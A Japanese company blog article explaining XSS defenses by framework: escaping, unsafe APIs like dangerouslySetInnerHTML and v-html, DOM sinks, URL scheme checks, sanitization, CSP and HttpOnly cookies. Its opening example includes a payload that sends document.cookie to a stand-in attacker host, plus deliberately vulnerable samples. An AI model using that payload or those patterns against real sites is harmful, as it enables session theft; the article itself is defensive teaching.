- サイバーセキュリティ 🛡️
- 技術 💻
XSS(クロスサイトスクリプティング)対策|フレームワーク別の注意点
XSS(クロスサイトスクリプティング)とは、利用者が入力した文字列が、Webページの中でHTMLやJavaScriptとして解釈・実行されてしまう脆弱性です。攻撃者が仕込んだスクリプトが、他の利用者のブラウザで実行され、ログイン中の情報の盗み出しや、なりすましの操作に使われます。
対策の基本は、「出力する場所に合わせて、特別な意味を持つ文字をエスケープ(無害化)すること」です。現在の多くのフレームワークは、この処理を自動で行います。そのため実務でXSSが起きるのは、多くの場合、フレームワークの自動エスケープを、開発者が無効にしてしまった箇所です。
この記事では、XSSの仕組みと種類を押さえたうえで、フレームワークごとの危険な書き方の一覧、出力する場所ごとの対策、CSPなどの多層防御、AIが書いたコードで確認すべき点までを解説します。
XSSの仕組み
掲示板の投稿を、そのままHTMLに埋め込んで表示する例です。
<!-- サーバー側で、投稿内容をそのまま埋め込んだ場合 -->
<div class="comment">こんにちは</div>
攻撃者が、投稿として次の文字列を送ります。
<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">
これがそのまま埋め込まれると、ブラウザは画像タグとして解釈し、読み込みに失敗したときにスクリプトを実行します。その掲示板を見たすべての人のブラウザで、攻撃者のスクリプトが動いてしまいます。
エスケープすると、次のように変換され、ただの文字として表示されます。
<div class="comment"><img src=x onerror="..."></div>
| 元の文字 | エスケープ後 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
'(または ') |
XSSの3つの種類
| 種類 | 仕組み | 例 |
|---|---|---|
| 反射型 | URLのパラメータなどに含まれたスクリプトが、そのままページに表示されて実行される | 検索キーワードを表示する画面 |
| 格納型(持続型) | スクリプトがデータベースに保存され、そのページを見た全員のブラウザで実行される | 掲示板、プロフィール、商品レビュー |
| DOM型 | サーバーを経由せず、ブラウザのJavaScriptがURLなどの値を危険な方法でページに書き込む | location.hash を innerHTML に代入する |
格納型は、1回の投稿で多数の利用者に影響するため、特に被害が大きくなります。DOM型は、サーバー側の対策だけでは防げないため、フロントエンドのコードの確認が必要です。
本記事の内容は、ご自由にお使いください。
ご利用の際は、出典として本ページへのリンクを記載いただけますようお願いします。
(記載例)出典:株式会社RJC「XSS(クロスサイトスクリプティング)対策|フレームワーク別の注意点」
フレームワーク別:自動エスケープを無効にする危険な書き方
多くのフレームワークは、通常の書き方で出力すると自動でエスケープします。次の書き方は、エスケープを無効にするため、利用者の入力を渡してはいけません。
| フレームワーク | 安全な書き方(自動エスケープ) | 危険な書き方(エスケープなし) |
|---|---|---|
| React | {value} |
dangerouslySetInnerHTML={{ __html: value }} |
| Vue | {{ value }}、v-text |
v-html="value" |
| Angular | {{ value }} |
bypassSecurityTrustHtml(value) |
| Thymeleaf | th:text |
th:utext |
| JSP | <c:out value="${value}"/> |
<%= value %>、${value}(設定によってはエスケープされない) |
| Jinja2(Flask) | {{ value }} |
safe フィルター、Markup(value) |
| Django | {{ value }} |
safe フィルター、mark_safe(value)、{% autoescape off %} |
| Laravel(Blade) | {{ $value }} |
{!! $value !!} |
| Ruby on Rails | <%= value %> |
raw(value)、value.html_safe、<%== value %> |
| PHP(テンプレートなし) | htmlspecialchars($v, ENT_QUOTES, 'UTF-8') |
echo $value; |
コードレビューでは、これらの書き方を検索して、利用者の入力が渡っていないかを確認するのが効率的です。どうしてもHTMLを表示する必要がある場合は、後述のサニタイズを行います。
JavaScriptのDOM操作での注意(DOM型XSS)
| 危険な書き方 | 安全な書き方 |
|---|---|
el.innerHTML = value |
el.textContent = value |
el.outerHTML = value |
要素を document.createElement で作り、textContent を設定する |
el.insertAdjacentHTML(...) |
el.insertAdjacentText(...) |
document.write(value) |
使わない |
eval(value)、new Function(value) |
使わない |
setTimeout("文字列", ...) |
関数を渡す:setTimeout(() => {...}, ...) |
// × URLの # 以降をそのままページに書き込む(DOM型XSS)
document.getElementById("msg").innerHTML = decodeURIComponent(location.hash.slice(1));
// ○ 文字として設定する
document.getElementById("msg").textContent = decodeURIComponent(location.hash.slice(1));
テキストを表示したいだけなら、innerHTML ではなく textContent を使う、と覚えておくと、多くのDOM型XSSを防げます。
出力する場所ごとの注意点
エスケープの方法は、値をどこに出力するかで変わります。HTMLのエスケープだけでは防げない場所があります。
属性の値:必ず引用符で囲む
<!-- × 引用符がないと、空白で区切って別の属性を追加できてしまう -->
<input value=<%= name %>>
<!-- ○ 引用符で囲み、エスケープする -->
<input value="<%= name %>">
URL(href・src):スキームを制限する
<a href="{{ userUrl }}">プロフィール</a>
userUrl に javascript:alert(1) が入っていると、HTMLのエスケープをしても、リンクを押したときにスクリプトが実行されます。利用者が入力したURLは、http: または https: で始まるものだけを許可します。
function safeUrl(url) {
try {
const u = new URL(url, location.origin);
return ["http:", "https:"].includes(u.protocol) ? u.href : "#";
} catch {
return "#";
}
}
script タグの中:値を直接埋め込まない
<!-- × 値を文字列として埋め込むと、</script> などで抜け出される -->
<script>
const name = "<%= name %>";
</script>
JavaScriptに値を渡すときは、data属性に入れて読み取るか、JSONとして安全に埋め込む方法を使います。
<div id="app" data-name="<%= エスケープしたname %>"></div>
<script>
const name = document.getElementById("app").dataset.name;
</script>
style・CSS
利用者の入力をCSSに埋め込むと、表示の改ざんや、情報の読み取りに使われることがあります。色やサイズなど、決まった値の中から選ばせる形にします。
HTMLを表示したい場合:サニタイズ
ブログのエディタや、Markdownで書かれた文章のように、利用者が入力したHTMLを表示する必要がある場合は、エスケープではなくサニタイズを行います。サニタイズは、安全なタグ・属性だけを残し、危険なもの(script、onerror、javascript: など)を取り除く処理です。
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml);
| 言語 | 代表的なサニタイズのライブラリ |
|---|---|
| JavaScript | DOMPurify |
| Java | OWASP Java HTML Sanitizer |
| Python | nh3(bleachは開発が終了) |
| PHP | HTML Purifier |
| Ruby | Rails の sanitize ヘルパー、Loofah |
サニタイズを自作の正規表現で行うのは避けます。HTMLの解釈は複雑で、正規表現では抜け道が残りやすいためです。
Markdownの表示
Markdownを変換するライブラリの多くは、Markdownの中に書かれたHTMLを、そのまま出力します。利用者が書いたMarkdownを表示する場合は、HTMLを無効にする設定にするか、変換後のHTMLをサニタイズします。
多層防御:CSPとCookieの設定
エスケープの漏れがあっても被害を抑えられるよう、複数の対策を重ねます。
CSP(コンテンツセキュリティポリシー)
レスポンスヘッダーで、実行してよいスクリプトの出どころをブラウザに伝えます。
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none'
この設定では、自分のサイトから読み込んだスクリプトファイル以外は実行されず、HTMLに直接書かれたスクリプト(インラインスクリプト)やonerrorなどのイベント属性も実行されなくなります。既存のサイトに導入する場合は、Content-Security-Policy-Report-Only で、違反を記録するだけの状態から始めると安全です。インラインスクリプトが必要な場合は、リクエストごとに発行する値(nonce)で許可する方法があります。
Cookieの属性
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
HttpOnly を付けると、JavaScriptからCookieを読み取れなくなり、XSSでセッションのCookieを盗まれることを防げます。ただし、XSSそのものを防ぐわけではありません。攻撃者のスクリプトは、利用者の画面で操作を行うことはできるため、エスケープが基本の対策であることに変わりはありません。
| 対策 | 役割 |
|---|---|
| 出力時のエスケープ | XSSを防ぐ基本の対策 |
| サニタイズ | HTMLを表示する必要がある場合の対策 |
| 入力値の検証 | 想定外の形式の値を早い段階ではじく(補助的な対策) |
| CSP | エスケープ漏れがあっても、スクリプトの実行を防ぐ |
| HttpOnly Cookie | XSSが起きても、セッションのCookieを盗まれないようにする |
入力時の検証だけでXSSを防ごうとするのは不十分です。同じ値でも、出力する場所によって危険な文字が違うため、出力する時点でのエスケープが必要です。
AIが書いたコードで確認したい点
AIのコーディング支援は、動作を優先して、エスケープを無効にする書き方を選ぶことがあります。たとえば、「HTMLの装飾がそのまま表示されてしまう」という相談に対して、dangerouslySetInnerHTML や v-html を使うコードが提案される、といった場面です。
- 上の表の危険な書き方が含まれていないかを検索する
innerHTMLに、利用者の入力やAPIの応答が渡っていないかを確認する- 利用者が入力したURLを、
hrefにそのまま設定していないかを確認する - 「とりあえず表示するため」にサニタイズを省いていないかを確認する
AIに依頼するときに「XSSに配慮して」「利用者の入力は信頼しない前提で」と指示するだけでも、生成されるコードの安全性は変わります。
よくある質問
Q. Reactを使っていれば、XSSは起きませんか?
A. 通常の {value} の出力は自動でエスケープされますが、dangerouslySetInnerHTML、利用者が入力したURLの href への設定、DOMの直接操作などでは、XSSが起きる可能性があります。
Q. 入力時にタグを取り除けば安全ですか? A. 不十分です。取り除き方に抜け道がある場合や、HTML以外の場所(URL、JavaScriptの中)に出力される場合があるためです。出力する場所に合わせたエスケープを基本にします。
Q. 自分のサイトにXSSがないか、どう確認すればいいですか?
A. 入力欄に <b>test</b> のような文字列を入れて、太字にならずにそのまま表示されるかを確認するのが簡単な方法です。本格的には、脆弱性診断ツールや専門の診断サービスを利用します。確認は、必ず自分が管理するサイトで行ってください。
Q. XSSとCSRFの違いは何ですか? A. XSSは、攻撃者のスクリプトを、対象のサイトの中で実行させる攻撃です。CSRFは、利用者を別のサイトに誘導し、ログイン中の対象のサイトに、利用者の意図しない操作のリクエストを送らせる攻撃です。対策も異なり、CSRFにはCSRFトークンやCookieのSameSite属性で対策します。
まとめ
- XSSは、利用者の入力がHTMLやJavaScriptとして実行される脆弱性。対策の基本は出力時のエスケープ
- 多くのフレームワークは自動でエスケープする。問題はdangerouslySetInnerHTML・v-html・th:utext・safeフィルター・{!! !!}・raw などの無効にする書き方
- DOM操作は innerHTMLではなくtextContent
- URLはhttp・httpsに制限、scriptタグの中に値を直接埋め込まない
- HTMLを表示するならDOMPurifyなどでサニタイズ。自作の正規表現は使わない
- CSPとHttpOnly Cookieで、万一の漏れに備えて多層で守る
- AIが書いたコードは、危険な書き方が含まれていないかを確認する
本記事の内容は、ご自由にお使いください。
ご利用の際は、出典として本ページへのリンクを記載いただけますようお願いします。
(記載例)出典:株式会社RJC「XSS(クロスサイトスクリプティング)対策|フレームワーク別の注意点」
株式会社RJCでは、動くだけでなく、安心して使えるシステムをつくるための知識を大切にしています。こうした知識を仲間と共有しながら、一緒に成長を楽しんでいます。
株式会社RJC ― SI事業・SES事業・AI駆動開発。未経験からエンジニアに育てるのが得意な会社です。
WE ARE HIRING
RJCで一緒に開発しながら、
成長を楽しみませんか?
RJCは、Web・モバイル・AIを活用した開発プロジェクトで、テックリードやPM・PMOも活躍するシステム開発会社です。会社を知る、待遇を確かめる、話を聞いてみる。気になるところ見てみてください!
- 127日年間休日
- 12時間平均残業時間
- 毎日ガチャ遊びココロも大切にする福利厚生。アマギフなどの賞品ラインナップ!
ほかにも、チケットレストラン、書籍読み放題、2年ごとの慰労報奨(休暇 or 金一封)、11期連続の黒字決算。